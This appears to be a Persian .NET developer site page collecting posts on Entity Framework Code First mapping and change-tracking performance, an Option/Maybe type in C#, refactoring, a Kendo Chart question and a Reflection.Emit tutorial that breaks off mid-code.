مطالب
EF Code First #8

ادامه بحث بررسی جزئیات نحوه نگاشت کلاس‌ها به جداول، توسط EF Code first


استفاده از Viewهای SQL Server در EF Code first

از Viewها عموما همانند یک جدول فقط خواندنی استفاده می‌شود. بنابراین نحوه نگاشت اطلاعات یک کلاس به یک View دقیقا همانند نحوه نگاشت اطلاعات یک کلاس به یک جدول است و تمام نکاتی که تا کنون بررسی شدند، در اینجا نیز صادق است. اما ...
الف) بر اساس تنظیمات توکار EF Code first، نام مفرد کلاس‌ها، حین نگاشت به جداول، تبدیل به اسم جمع می‌شوند. بنابراین اگر View ما در سمت بانک اطلاعاتی چنین تعریفی دارد:
Create VIEW EmployeesView
AS
SELECT id,
FirstName
FROM Employees

در سمت کدهای برنامه نیاز است به این شکل تعریف شود:

using System.ComponentModel.DataAnnotations;

namespace EF_Sample04.Models
{
[Table("EmployeesView")]
public class EmployeesView
{
public int Id { set; get; }
public string FirstName { set; get; }
}
}

در اینجا به کمک ویژگی Table، نام دقیق این View را در بانک اطلاعاتی مشخص کرده‌ایم. به این ترتیب تنظیمات توکار EF بازنویسی خواهد شد و دیگر به دنبال EmployeesViews نخواهد گشت؛ یا جدول متناظر با آن‌را به صورت خودکار ایجاد نخواهد کرد.
ب) View شما نیاز است دارای یک فیلد Primary key نیز باشد.
ج) اگر از مهاجرت خودکار توسط MigrateDatabaseToLatestVersion استفاده کنیم، پیغام خطای زیر را دریافت خواهیم کرد:

There is already an object named 'EmployeesView' in the database.

علت این است که هنوز جدول dbo.__MigrationHistory از وجود آن مطلع نشده است، زیرا یک View، خارج از برنامه و در سمت بانک اطلاعاتی اضافه می‌شود.
برای حل این مشکل می‌توان همانطور که در قسمت‌های قبل نیز عنوان شد، EF را طوری تنظیم کرد تا کاری با بانک اطلاعاتی نداشته باشد:

Database.SetInitializer<Sample04Context>(null);

به این ترتیب EmployeesView در همین لحظه قابل استفاده است.
و یا به حالت امن مهاجرت دستی سوئیچ کنید:
Add-Migration Init -IgnoreChanges
Update-Database

پارامتر IgnoreChanges سبب می‌شود تا متدهای Up و Down کلاس مهاجرت تولید شده، خالی باشد. یعنی زمانیکه دستور Update-Database انجام می‌شود، نه Viewایی دراپ خواهد شد و نه جدول اضافه‌ای ایجاد می‌گردد. فقط جدول dbo.__MigrationHistory به روز می‌شود که هدف اصلی ما نیز همین است.
همچنین در این حالت کنترل کاملی بر روی کلاس‌های Up و Down وجود دارد. می‌توان CreateTable اضافی را به سادگی از این کلاس‌ها حذف کرد.

ضمن اینکه باید دقت داشت یکی از اهداف کار با ORMs، فراهم شدن امکان استفاده از بانک‌های اطلاعاتی مختلف، بدون اعمال تغییری در کدهای برنامه می‌باشد (فقط تغییر کانکشن استرینگ، به علاوه تعیین Provider جدید، باید جهت این مهاجرت کفایت کند). بنابراین اگر از View استفاده می‌کنید، این برنامه به SQL Server گره خواهد خورد و دیگر از سایر بانک‌های اطلاعاتی که از این مفهوم پشتیبانی نمی‌کنند، نمی‌توان به سادگی استفاده کرد.



استفاده از فیلدهای XML اس کیوال سرور

در حال حاضر پشتیبانی توکاری توسط EF Code first از فیلدهای ویژه XML اس کیوال سرور وجود ندارد؛ اما استفاده از آن‌ها با رعایت چند نکته ساده، به نحو زیر است:

using System.ComponentModel.DataAnnotations;
using System.Xml.Linq;

namespace EF_Sample04.Models
{
public class MyXMLTable
{
public int Id { get; set; }

[Column(TypeName = "xml")]
public string XmlValue { get; set; }

[NotMapped]
public XElement XmlValueWrapper
{
get { return XElement.Parse(XmlValue); }
set { XmlValue = value.ToString(); }
}
}
}


در اینجا توسط TypeName ویژگی Column، نوع توکار xml مشخص شده است. این فیلد در طرف کدهای کلاس‌های برنامه، به صورت string تعریف می‌شود. سپس اگر نیاز بود به این خاصیت توسط LINQ to XML دسترسی یافت، می‌توان یک فیلد محاسباتی را همانند خاصیت XmlValueWrapper فوق تعریف کرد. نکته‌ دیگری را که باید به آن دقت داشت، استفاده از ویژگی NotMapped می‌باشد، تا EF سعی نکند خاصیتی از نوع XElement را (یک CLR Property) به بانک اطلاعاتی نگاشت کند.

و همچنین اگر علاقمند هستید که این قابلیت به صورت توکار اضافه شود، می‌توانید اینجا رای دهید!



نحوه تعریف Composite keys در EF Code first

کلاس نوع فعالیت زیر را درنظر بگیرید:

namespace EF_Sample04.Models
{
public class ActivityType
{
public int UserId { set; get; }
public int ActivityID { get; set; }
}
}

در جدول متناظر با این کلاس، نباید دو رکورد تکراری حاوی شماره کاربری و شماره فعالیت یکسانی باهم وجود داشته باشند. بنابراین بهتر است بر روی این دو فیلد، یک کلید ترکیبی تعریف کرد:

using System.Data.Entity.ModelConfiguration;
using EF_Sample04.Models;

namespace EF_Sample04.Mappings
{
public class ActivityTypeConfig : EntityTypeConfiguration<ActivityType>
{
public ActivityTypeConfig()
{
this.HasKey(x => new { x.ActivityID, x.UserId });
}
}
}

در اینجا نحوه معرفی بیش از یک کلید را در متد HasKey ملاحظه می‌کنید.

یک نکته:
اینبار اگر سعی کنیم مثلا از متد db.ActivityTypes.Find با یک پارامتر استفاده کنیم، پیغام خطای «The number of primary key values passed must match number of primary key values defined on the entity» را دریافت خواهیم کرد. برای رفع آن باید هر دو کلید، در این متد قید شوند:

var activity1 = db.ActivityTypes.Find(4, 1);

ترتیب آن‌ها هم بر اساس ترتیبی که در کلاس ActivityTypeConfig، ذکر شده است، مشخص می‌گردد. بنابراین در این مثال، اولین پارامتر متد Find، به ActivityID اشاره می‌کند و دومین پارامتر به UserId.


بررسی نحوه تعریف نگاشت جداول خود ارجاع دهنده (Self Referencing Entity)

سناریوهای کاربردی بسیاری را جهت جداول خود ارجاع دهنده می‌توان متصور شد و عموما تمام آن‌ها برای مدل سازی اطلاعات چند سطحی کاربرد دارند. برای مثال یک کارمند را درنظر بگیرید. مدیر این شخص هم یک کارمند است. مسئول این مدیر هم یک کارمند است و الی آخر. نمونه دیگر آن، طراحی منوهای چند سطحی هستند و یا یک مشتری را درنظر بگیرید. مشتری دیگری که توسط این مشتری معرفی شده است نیز یک مشتری است. این مشتری نیز می‌تواند یک مشتری دیگر را به شما معرفی کند و این سلسله مراتب به همین ترتیب می‌تواند ادامه پیدا کند.
در طراحی بانک‌های اطلاعاتی، برای ایجاد یک چنین جداولی، یک کلید خارجی را که به کلید اصلی همان جدول اشاره می‌کند، ایجاد خواهند کرد؛ اما در EF Code first چطور؟

using System.Collections.Generic;

namespace EF_Sample04.Models
{
public class Employee
{
public int Id { set; get; }
public string FirstName { get; set; }
public string LastName { get; set; }

//public int? ManagerID { get; set; }
public virtual Employee Manager { get; set; }
}
}

در این کلاس، خاصیت Manager دارای ارجاعی است به همان کلاس؛ یعنی یک کارمند می‌تواند مسئول کارمند دیگری باشد. برای تعریف نگاشت‌ این کلاس به بانک اطلاعاتی می‌توان از روش زیر استفاده کرد:

using System.Data.Entity.ModelConfiguration;
using EF_Sample04.Models;

namespace EF_Sample04.Mappings
{
public class EmployeeConfig : EntityTypeConfiguration<Employee>
{
public EmployeeConfig()
{
this.HasOptional(x => x.Manager)
.WithMany()
//.HasForeignKey(x => x.ManagerID)
.WillCascadeOnDelete(false);
}
}
}

با توجه به اینکه یک کارمند می‌تواند مسئولی نداشته باشد (خودش مدیر ارشد است)، به کمک متد HasOptional مشخص کرده‌ایم که فیلد Manager_Id را که می‌خواهی به این کلاس اضافه کنی باید نال پذیر باشد. توسط متد WithMany طرف دیگر رابطه مشخص شده است.
اگر نیاز بود فیلد Manager_Id اضافه شده نام دیگری داشته باشد، یک خاصیت nullable مانند ManagerID را که در کلاس Employee مشاهده می‌کنید،‌ اضافه نمائید. سپس در طرف تعاریف نگاشت‌ها به کمک متد HasForeignKey، باید صریحا عنوان کرد که این خاصیت، همان کلید خارجی است. از این نکته در سایر حالات تعاریف نگاشت‌ها نیز می‌توان استفاده کرد، خصوصا اگر از یک بانک اطلاعاتی موجود قرار است استفاده شود و از نام‌های دیگری بجز نام‌های پیش فرض EF استفاده کرده است.




مثال‌های این سری رو از این آدرس هم می‌تونید دریافت کنید: (^)

مطالب
پیاده سازی Option یا Maybe در #C

Options یا Maybe در یک زبان تابعی مثل #F، نشان دهنده‌ی این است که شیء (Object) ممکن است وجود نداشته باشد(Null Reference) که یکی از مهمترین ویژگی‌های یک زبان شیءگرا مثل #C و یا Java محسوب می‌شودما برنامه نویس‌ها (اغلب) از هرچیزی که باعث کرش برنامه می‌شود، بیزاریم و برای اینکه برنامه کرش نکند، مجبور میشویم تمام کد‌های خود  را از Null Reference محافظت کنیم. تمام این مشکلات توسط Tony Hoare مخترع ALOGL است که تنها دلیل وجود Null References را سادگی پیاده سازی آن می‌داند و او این مورد را یک «خطای  میلیون دلاری» نامیده‌است. 

به این مثال توجه بفرمایید: 

public class User
    {
        public int Id { get; set; }
        public string Name { get; set; }
    }

public class UserService : IUserService
    {
        private IList<User> _userData;

        public UserService()
        {
            _userData = new List<User>
            {
                new User {Id = 1,Name = "ali"},
                new User {Id = 2,Name = "Karim"}
            };
        }

        public User GetById(int id)
        {
            return _userData.FirstOrDefault(x => x.Id == id);
        }
    }  

public class UserController : Controller
    {
        private readonly IUserService _userService;

        public UserController(IUserService  userService)
        {
            _userService = userService;
        }
        public ActionResult Details(int id)
        {
            var user=_userService.GetById(3); // این متد ممکن است مقداری برگرداند و یا مقدار نال برگرداند                           
            if( user == null)
                 return HttpNotFound();    
            return View(user);  
        }
    }

این کدی است که ما برنامه نویسان به صورت متداولی با آن سروکار داریم. اما چه چیزی درباره این کد اشکال دارد؟

مشکل از آن جایی هست که ما نمی‌دانیم متد GetById مقداری را برمیگرداند و یا Null را بر می‌گرداند. این متد هرگاه که امکان برگرداندن Null وجود داشته باشد، خطای  NullReferenceException را در زمان اجرا بر می‌گرداند و همان طور که میدانید، به ازای هر شرطی که به برنامه اضافه میکنیم، پیچیدگی برنامه هم افزایش می‌یابد و کد خوانایی خود را از دست می‌دهد. تصور کنید دنیایی بدون NullReferenceException چه دنیایی زیبایی می‌بود؛ ولی متاسفانه این مورد از ویژگی‌های زبان #C است. خوشبختانه راه‌حل‌های برای حل NRE ارائه شده‌اند که در ادامه به آن‌ها می‌پردازیم.

ما می‌خواهیم متد GetById همیشه چیزی غیر از نال را برگرداند و یکی از راه‌هایی که ما را به این هدف می‌رساند این است که این متد یک توالی را برگرداند.

به نگاری جدید کد توجه بفرمایید:
public class UserService : IUserService
    {
        private IList<User> _userData;

        public UserService()
        {
            _userData = new List<User>
            {
                new User {Id = 1,Name = "ali"},
                new User {Id = 2,Name = "Karim"}
            };
        }

        public IEnumerable<User> GetById(int id)
        {
            var user = _userData.FirstOrDefault(x => x.Id == id);
            if (user == null) return new User[0];
            return new[] { user };
        }
    } 

اگر به امضای متد GetById توجه کنید، به جای اینکه User را برگرداند، این متد یک توالی از User را بر می‌گرداند و اگر در اینجا کاربری یافت شد، این توالی دارای یک المان خواهد بود و در غیر این صورت اگر User یافت نشد، این متد یک توالی را بر می‌گرداند که دارای هیچ المانی نیست. در ادامه اگر کلاینت بخواهد از متد GetById استفاده کند، به صورت زیر خواهد بود:

 public ActionResult Details(int id)
        {
            var user = _userService
                            .GetById(3)
                            .DefaultIfEmpty(new User())
                            .Single();
            return View(user);
        }

 متد GetById دارای دو وجه است و وجه مثبت آن این است که اگر مجموعه دارای مقداری باشد، هیچ مشکلی نیست؛ ولی اگر مجموعه دارای المانی نباشد، باید یک شیء را به صورت پیش فرض به آن اختصاص دهیم که این کار را با استفاده از متد DefualtIfEmpty انجام داده‌ایم. 

 در اول مقاله هم اشاره کردیم که  Maybe یا Options، مجموعه‌ای است که دارای یک المان و یا هیچ المانی است. اگر به امضای متد GetById توجه کنید، متوجه خواهید شد که این متد می‌تواند مجموعه‌ای را برگرداند و نمی‌تواند گارانتی کند که حتما مجموعه‌ای را بر می‌گرداند که دارای یک المان و یا هیچ باشد. برای حل این مشکل می‌توانیم از کلاس Option استفاده کنیم:

public class Option<T> : IEnumerable<T>
    {
        private readonly T[] _data;

        private Option(T[] data)
        {
            _data = data;
        }

        public static Option<T> Create(T element) => new Option<T>(new[] { element });

        public static Option<T> CreateEmpty() => new Option<T>(new T[0]);

        public IEnumerator<T> GetEnumerator() => ((IEnumerable<T>) _data).GetEnumerator();

        IEnumerator IEnumerable.GetEnumerator() => this.GetEnumerator();
    }

تنها دلیل استفاده از متد‌های Create و CreateEmpty این است که به خوانایی برنامه کمک کنیم؛ نه بیشتر. در ادامه اگر بخواهیم از کلاس option استفاده کنیم، به صورت زیر خواهد بود:

 public class UserService : IUserService
    {
       ...
       ...
       public Option<User> GetById(int id)
        {
            var user = _userData.FirstOrDefault(x => x.Id == id);
            return user == null ? Option<User>.CreateEmpty() : Option<User>.Create(user);
        }
    }

 public class UserController : Controller
    {
       ...
       ...
       public ActionResult Details(int id)
        {
            var user = _userService
                            .GetById(3)
                            .DefaultIfEmpty(new User())
                            .Single();
            return View(user);
        }
    }


چکیده:

مدیریت کردن References کار بسیار پیچیده‌ای است. قبل از آن که تلاش کنیم مقداری را برگردانیم و یا عملیاتی را بر روی آن انجام دهیم، اول باید مطمئن شویم که این شیء به جایی اشاره می‌کند. نمونه‌های متفاوتی از Option و یا Maybe را می‌توانید در اینترنت پیدا کنید که هدف نهایی آن‌ها، حذف NullReferenceException است و آشنایی با این ایده، شما را به دنیای برنامه نویسی تابعی در#C هدایت می‌کند.

مطالب
آشنایی با Refactoring - قسمت 3


قسمت سوم آشنایی با Refactoring در حقیقت به تکمیل قسمت قبل که در مورد «استخراج متدها» بود اختصاص دارد و به مبحث «استخراج یک یا چند کلاس از متدها» یا Extract Method Object اختصاص دارد.
زمانیکه کار «استخراج متدها» را شروع می‌کنیم، پس از مدتی به علت بالا رفتن تعداد متدهای کلاس جاری، به آنچنان شکل و شمایل خوشایند و زیبایی دست پیدا نخواهیم کرد. همچنین اینبار بجای متدی طولانی، با کلاسی طولانی سروکار خواهیم داشت. در این حالت بهتر است از متدهای استخراج شده مرتبط، یک یا چند کلاس جدید تهیه کنیم. به همین جهت به آن Extract Method Object می‌گویند.
بنابراین مرحله‌ی اول کار با یک قطعه کد با کیفیت پایین، استخراج متدهایی کوچک‌تر و مشخص‌تر، از متدهای طولانی آن است. مرحله بعد، کپسوله کردن این متدها در کلاس‌های مجزا و مرتبط با آن‌ها می‌باشد (logic segregation). بر این اساس که یکی از اصول ابتدایی شیء گرایی این مورد است: هر کلاس باید یک کار را انجام دهد (Single Responsibility Principle).
بنابراین اینبار از نتیجه‌ی حاصل از مرحله‌ی قبل شروع می‌کنیم و عملیات Refactoring را ادامه خواهیم داد:

using System.Collections.Generic;

namespace Refactoring.Day2.ExtractMethod.After
{
public class Receipt
{
private IList<decimal> _discounts;
private IList<decimal> _itemTotals;

public decimal CalculateGrandTotal()
{
_discounts = new List<decimal> { 0.1m };
_itemTotals = new List<decimal> { 100m, 200m };

decimal subTotal = CalculateSubTotal();
subTotal = CalculateDiscounts(subTotal);
subTotal = CalculateTax(subTotal);
return subTotal;
}

private decimal CalculateTax(decimal subTotal)
{
decimal tax = subTotal * 0.065m;
subTotal += tax;
return subTotal;
}

private decimal CalculateDiscounts(decimal subTotal)
{
if (_discounts.Count > 0)
{
foreach (decimal discount in _discounts)
subTotal -= discount;
}
return subTotal;
}

private decimal CalculateSubTotal()
{
decimal subTotal = 0m;
foreach (decimal itemTotal in _itemTotals)
subTotal += itemTotal;
return subTotal;
}
}
}

این مثال، همان نمونه‌ی کامل شده‌ی کد نهایی قسمت قبل است. چند اصلاح هم در آن انجام شده است تا قابل استفاده و مفهوم‌تر شود. عموما متغیرهای خصوصی یک کلاس را به صورت فیلد تعریف می‌کنند؛ نه خاصیت‌های set و get دار. همچنین مثال قبل نیاز به مقدار دهی این فیلدها را هم داشت که در اینجا انجام شده.
اکنون می‌خواهیم وضعیت این کلاس را بهبود ببخشیم و آن‌را از این حالت بسته خارج کنیم:

using System.Collections.Generic;

namespace Refactoring.Day3.ExtractMethodObject.After
{
public class Receipt
{
public IList<decimal> Discounts { get; set; }
public decimal Tax { get; set; }
public IList<decimal> ItemTotals { get; set; }

public decimal CalculateGrandTotal()
{
return new ReceiptCalculator(this).CalculateGrandTotal();
}
}
}

using System.Collections.Generic;

namespace Refactoring.Day3.ExtractMethodObject.After
{
public class ReceiptCalculator
{
Receipt _receipt;

public ReceiptCalculator(Receipt receipt)
{
_receipt = receipt;
}

public decimal CalculateGrandTotal()
{
decimal subTotal = CalculateSubTotal();
subTotal = CalculateDiscounts(subTotal);
subTotal = CalculateTax(subTotal);
return subTotal;
}

private decimal CalculateTax(decimal subTotal)
{
decimal tax = subTotal * _receipt.Tax;
subTotal += tax;
return subTotal;
}

private decimal CalculateDiscounts(decimal subTotal)
{
if (_receipt.Discounts.Count > 0)
{
foreach (decimal discount in _receipt.Discounts)
subTotal -= discount;
}
return subTotal;
}

private decimal CalculateSubTotal()
{
decimal subTotal = 0m;
foreach (decimal itemTotal in _receipt.ItemTotals)
subTotal += itemTotal;
return subTotal;
}
}
}

بهبودهای حاصل شده نسبت به نگارش قبلی آن:
در این مثال کل عملیات محاسباتی به یک کلاس دیگر منتقل شده است. کلاس ReceiptCalculator شیء‌ایی از نوع Receipt را در سازنده خود دریافت کرده و سپس محاسبات لازم را بر روی آن انجام می‌دهد. همچنین فیلدهای محلی آن تبدیل به خواصی عمومی و قابل تغییر شده‌اند. در نگارش قبلی، تخفیف‌ها و مالیات و نحوه‌ی محاسبات به صورت محلی و در همان کلاس تعریف شده بودند. به عبارت دیگر با کدی سروکار داشتیم که قابلیت استفاده مجدد نداشت. نمی‌توانست نوع‌های مختلفی از Receipt را بپذیرد. نمی‌شد از آن در برنامه‌ای دیگر هم استفاده کرد. تازه شروع کرده بودیم به جدا سازی منطق‌های قسمت‌های مختلف محاسبات یک متد اولیه طولانی. همچنین اکنون کلاس ReceiptCalculator تنها عهده دار انجام یک عملیات مشخص است.
البته اگر به کلاس ReceiptCalculator قسمت سوم و کلاس Receipt قسمت دوم دقت کنیم، شاید آنچنان تفاوتی را نتوان حس کرد. اما واقعیت این است که کلاس Receipt قسمت دوم، تنها یک پیش نمایش مختصری از صدها متد موجود در آن است.


نظرات مطالب
چند نکته کاربردی درباره Entity Framework
در حالت Detached (مثل ایجاد یک شیء CLR ساده)
در متد Updateایی که نوشتید، قسمت Find حتما اتفاق می‌افته. چون Tracking خاموش هست (مطابق تنظیماتی که عنوان کردید)، بنابراین Find چیزی رو از کشی که وجود نداره نمی‌تونه دریافت کنه و میره سراغ دیتابیس. ماخذ :
The Find method on DbSet uses the primary key value to attempt to find an entity tracked by the context.
If the entity is not found in the context then a query will be sent to the database to find the entity there.
Null is returned if the entity is not found in the context or in the database.
حالا تصور کنید که در یک حلقه می‌خواهید 100 آیتم رو ویرایش کنید. یعنی 100 بار رفت و برگشت خواهید داشت با این متد Update سفارشی که ارائه دادید. البته منهای کوئری‌های آپدیت متناظر. این 100 تا کوئری فقط Find است.
قسمت Find متد Update شما در حالت detached اضافی است. یعنی اگر می‌دونید که این Id در دیتابیس وجود داره نیازی به Findاش نیست. فقط State اون رو تغییر بدید کار می‌کنه.

در حالت نه آنچنان Detached ! (دریافت یک لیست از Context ایی که ردیابی نداره)
با خاموش کردن Tracking حتما نیاز خواهید داشت تا متد  context.ChangeTracker.DetectChanges رو هم پیش از ذخیره سازی یک لیست دریافت شده از بانک اطلاعاتی فراخوانی کنید. وگرنه چون این اطلاعات ردیابی نمی‌شوند، هر تغییری در آن‌ها، وضعیت Unchanged رو خواهد داشت و نه Detached. بنابراین SaveChanges عمل نمی‌کنه؛ مگر اینکه DetectChanges فراخوانی بشه.

سؤال: این سربار که می‌گن چقدر هست؟ ارزشش رو داره که راسا خاموشش کنیم؟ یا بهتره فقط برای گزارشگیری این کار رو انجام بدیم؟
یک آزمایش:
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Data.Entity.Migrations;
using System.Diagnostics;
using System.Linq;

namespace EF_General.Models.Ex21
{
    public abstract class BaseEntity
    {
        public int Id { set; get; }
    }

    public class Factor : BaseEntity
    {
        public int TotalPrice { set; get; }
    }

    public class MyContext : DbContext
    {
        public DbSet<Factor> Factors { get; set; }

        public MyContext() { }
        public MyContext(bool withTracking)
        {
            if (withTracking)
                return;

            this.Configuration.ProxyCreationEnabled = false;
            this.Configuration.LazyLoadingEnabled = false;
            this.Configuration.AutoDetectChangesEnabled = false;
        }

        public void CustomUpdate<T>(T entity) where T : BaseEntity
        {
            if (entity == null)
                throw new ArgumentException("Cannot add a null entity.");


            var entry = this.Entry<T>(entity);
            if (entry.State != EntityState.Detached)
                return;

            /*var set = this.Set<T>(); // این‌ها اضافی است
            //متد فایند اگر اینجا باشه حتما به بانک اطلاعاتی رجوع می‌کنه در حالت منقطع از زمینه و در یک حلقه به روز رسانی کارآیی مطلوبی نخواهد داشت
            T attachedEntity = set.Find(entity.Id);
            if (attachedEntity != null)
            {
                var attachedEntry = this.Entry(attachedEntity);
                attachedEntry.CurrentValues.SetValues(entity);
            }
            else
            {*/
            entry.State = EntityState.Modified;
            //}
        }
    }

    public class Configuration : DbMigrationsConfiguration<MyContext>
    {
        public Configuration()
        {
            AutomaticMigrationsEnabled = true;
            AutomaticMigrationDataLossAllowed = true;
        }

        protected override void Seed(MyContext context)
        {
            if (!context.Factors.Any())
            {
                for (int i = 0; i < 20; i++)
                {
                    context.Factors.Add(new Factor { TotalPrice = i });
                }
            }
            base.Seed(context);
        }
    }

    public class Performance
    {
        public TimeSpan ListDisabledTracking { set; get; }
        public TimeSpan ListNormal { set; get; }
        public TimeSpan DetachedEntityDisabledTracking { set; get; }
        public TimeSpan DetachedEntityNormal { set; get; }
    }

    public static class Test
    {
        public static void RunTests()
        {
            startDb();

            var results = new List<Performance>();
            var runs = 20;
            for (int i = 0; i < runs; i++)
            {
                Console.WriteLine("\nRun {0}", i + 1);

                var tsListDisabledTracking = PerformanceHelper.RunActionMeasurePerformance(() => updateListTotalPriceDisabledTracking());
                var tsListNormal = PerformanceHelper.RunActionMeasurePerformance(() => updateListTotalPriceNormal());
                var tsDetachedEntityDisabledTracking = PerformanceHelper.RunActionMeasurePerformance(() => updateDetachedEntityTotalPriceDisabledTracking());
                var tsDetachedEntityNormal = PerformanceHelper.RunActionMeasurePerformance(() => updateDetachedEntityTotalPriceNormal());
                results.Add(new Performance
                {
                    ListDisabledTracking = tsListDisabledTracking,
                    ListNormal = tsListNormal,
                    DetachedEntityDisabledTracking = tsDetachedEntityDisabledTracking,
                    DetachedEntityNormal = tsDetachedEntityNormal
                });
            }

            var detachedEntityDisabledTrackingAvg = results.Average(x => x.DetachedEntityDisabledTracking.TotalMilliseconds);
            Console.WriteLine("detachedEntityDisabledTrackingAvg: {0} ms.", detachedEntityDisabledTrackingAvg);

            var detachedEntityNormalAvg = results.Average(x => x.DetachedEntityNormal.TotalMilliseconds);
            Console.WriteLine("detachedEntityNormalAvg: {0} ms.", detachedEntityNormalAvg);

            var listDisabledTrackingAvg = results.Average(x => x.ListDisabledTracking.TotalMilliseconds);
            Console.WriteLine("listDisabledTrackingAvg: {0} ms.", listDisabledTrackingAvg);

            var listNormalAvg = results.Average(x => x.ListNormal.TotalMilliseconds);
            Console.WriteLine("listNormalAvg: {0} ms.", listNormalAvg);
        }

        private static void updateDetachedEntityTotalPriceNormal()
        {
            using (var context = new MyContext(withTracking: true))
            {
                var detachedEntity = new Factor { Id = 1, TotalPrice = 10 };

                var attachedEntity = context.Factors.Find(detachedEntity.Id);
                if (attachedEntity != null)
                {
                    attachedEntity.TotalPrice = 100;

                    context.SaveChanges();
                }
            }
        }

        private static void updateDetachedEntityTotalPriceDisabledTracking()
        {
            using (var context = new MyContext(withTracking: false))
            {
                var detachedEntity = new Factor { Id = 2, TotalPrice = 10 };
                detachedEntity.TotalPrice = 200;

                context.CustomUpdate(detachedEntity); // custom update with change tracking disabled.
                context.SaveChanges();
            }
        }

        private static void updateListTotalPriceNormal()
        {
            using (var context = new MyContext(withTracking: true))
            {
                foreach (var item in context.Factors)
                {
                    item.TotalPrice += 10; // normal update with change tracking enabled.
                }
                context.SaveChanges();
            }
        }

        private static void updateListTotalPriceDisabledTracking()
        {
            using (var context = new MyContext(withTracking: false))
            {
                foreach (var item in context.Factors)
                {
                    item.TotalPrice += 10;
                    //نیازی به این دو سطر نیست
                    //context.ChangeTracker.DetectChanges();  // هربار باید محاسبه صورت گیرد در غیراینصورت وضعیت تغییر نیافته گزارش می‌شود
                    //context.CustomUpdate(item); // custom update with change tracking disabled.
                }
                context.ChangeTracker.DetectChanges();  // در غیراینصورت وضعیت تغییر نیافته گزارش می‌شود
                context.SaveChanges();
            }
        }

        private static void startDb()
        {
            Database.SetInitializer(new MigrateDatabaseToLatestVersion<MyContext, Configuration>());
            // Forces initialization of database on model changes.
            using (var context = new MyContext())
            {
                context.Database.Initialize(force: true);
            }
        }
    }

    public class PerformanceHelper
    {
        public static TimeSpan RunActionMeasurePerformance(Action action)
        {
            var stopwatch = new Stopwatch();
            stopwatch.Start();

            action();

            stopwatch.Stop();
            return stopwatch.Elapsed;
        }
    }
}
نتیجه این آزمایش بعد از 20 بار اجرا و اندازه گیری:
 detachedEntityDisabledTrackingAvg: 22.32089 ms.
detachedEntityNormalAvg: 54.546815 ms.
listDisabledTrackingAvg: 413.615445 ms.
listNormalAvg: 393.194625 ms.
در حالت کار با یک شیء ساده، به روز رسانی حالت منقطع بسیار سریعتر است (چون یکبار رفت و برگشت کمتری داره به دیتابیس).
در حالت کار با لیستی از اشیاء دریافت شده از بانک اطلاعاتی، به روز رسانی حالت متصل به Context سریعتر است.
نظرات مطالب
رسم نمودار توسط Kendo Chart
با سلام و تشکر
من مشکل مرتب سازی فیلد‌های از نوع عددی (int) در Kendo Chart دارم. همانند شکل زیر


کد‌های نوشته شده به شکل زیر هستند (Year از جنس عدد هست)

 $(document).ready(function () {
        //چارت 4
        $.ajax({
            type: 'POST',
            url: '@Url.Action("TierStatistics4", "Dashboard", new { area = "Tier" })', 
            dataType: 'json',
            data: { CostCenterId: $("#CostCenterId").val(), QueryIndex: $("#QueryIndex").val() },
            success: function (data) {
                dataSource = new kendo.data.DataSource({
                    data: data,
                    group: {
                        field: "Series"
                    },
                    sort:
                        {
                            field: "Year",
                            dir: "desc"
                        }
                });
                $("#chart4").kendoChart({
                    title: {
                        text: "آمار تعداد/هزینه(ریال) تایر مصرفی شعب به تفکیک مراکز هزینه و ماه‌های سال",
                        font: "irsans",
                    },
                    dataSource: dataSource,
                    series: [{
                        type: "column",
                        field: "Value",
                        categoryField: "Year",
                        name: "#=  group.value  #",
                    }],
                    categoryAxis: {

                        font: "irsans",
                        labels: {
                            font: "irsans"
                        }
                    },
                    valueAxis:
                        {
                            labels: {
                                font: "irsans",
                                visible: true,
                            }
                        },
                    seriesDefaults: {

                        style: "smooth",
                        labels: {
                            position: "Bottom",
                            visible: false,
                            fromat: "{0:n0}",
                            font: "irsans",
                            font: "irsans",
                            format: "{0:n0}",
                        }
                    },
                    legend: {
                        position: "top",
                        labels: {
                            font: "irsans"
                        }
                    },
                    tooltip: {
                        visible: true,
                        format: "{0:n0}",
                        template: "#= series.name #: #= value #",
                        font: "irsans",
                    }
                })
            },
            error: function (ex) {
                alert('خطا در بازیابی اطلاعات' + ex);
            }
        });
        return false;
    });
ضمنا ViewModel هم به صورت زیر می‌باشد
 public class DashoardViewModel : System.Object
    {
        public DashoardThirdViewModel()
        {
        }
        public string Series { get; set; }
        // **********
        public int Year { get; set; }
        //**********
        public long Value { get; set; }
        // **********


    }

ممنون از راهنمائی تون.
مطالب دوره‌ها
دسترسی سریع به مقادیر خواص توسط Reflection.Emit
اگر پروژه‌های چندسال اخیر را مرور کرده باشید خصوصا در زمینه ORMها و یا Serializerها و کلا مواردی که با Reflection زیاد سروکار دارند، تعدادی از آن‌ها پیشوند fast را یدک می‌کشند و با ارائه نمودارهایی نشان می‌دهند که سرعت عملیات و کتابخانه‌های آن‌ها چندین برابر کتابخانه‌های معمولی است و ... سؤال مهم اینجا است که رمز و راز این‌ها چیست؟
فرض کنید تعاریف کلاس User به صورت زیر است:
public class User
{
     public int Id { set; get; }
}
همانطور که در قسمت‌های قبل نیز عنوان شد، خاصیت Id در کدهای IL نهایی به صورت متدهای get_Id و set_Id ظاهر می‌شوند.
حال اگر یک متد پویا ایجاد کنیم که بجای هر بار Reflection جهت دریافت مقدار Id، خود متد get_Id را مستقیما صدا بزند، چه خواهد شد؟
پیاده سازی این نکته را در ادامه ملاحظه می‌کنید:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;

namespace FastReflectionTests
{
    /// <summary>
    /// کلاسی برای اندازه گیری زمان اجرای عملیات
    /// </summary>
    public class Benchmark : IDisposable
    {
        Stopwatch _watch;
        string _name;

        public static Benchmark Start(string name)
        {
            return new Benchmark(name);
        }

        private Benchmark(string name)
        {
            _name = name;
            _watch = new Stopwatch();
            _watch.Start();
        }

        public void Dispose()
        {
            _watch.Stop();
            Console.WriteLine("{0} Total seconds: {1}"
                               , _name, _watch.Elapsed.TotalSeconds);
        }
    }

    public class User
    {
        public int Id { set; get; }
    }

    class Program
    {
        public static Func<object, object> GetFastGetterFunc(string propertyName, Type ownerType)
        {
            var propertyInfo = ownerType.GetProperty(propertyName, BindingFlags.Instance | BindingFlags.Public);

            if (propertyInfo == null)
                return null;
            
            var getter = ownerType.GetMethod("get_" + propertyInfo.Name,
                                             BindingFlags.Instance | BindingFlags.Public | BindingFlags.FlattenHierarchy);
            if (getter == null)
                return null;

            var dynamicGetterMethod = new DynamicMethod(
                                                name: "_",
                                                returnType: typeof(object),
                                                parameterTypes: new[] { typeof(object) },
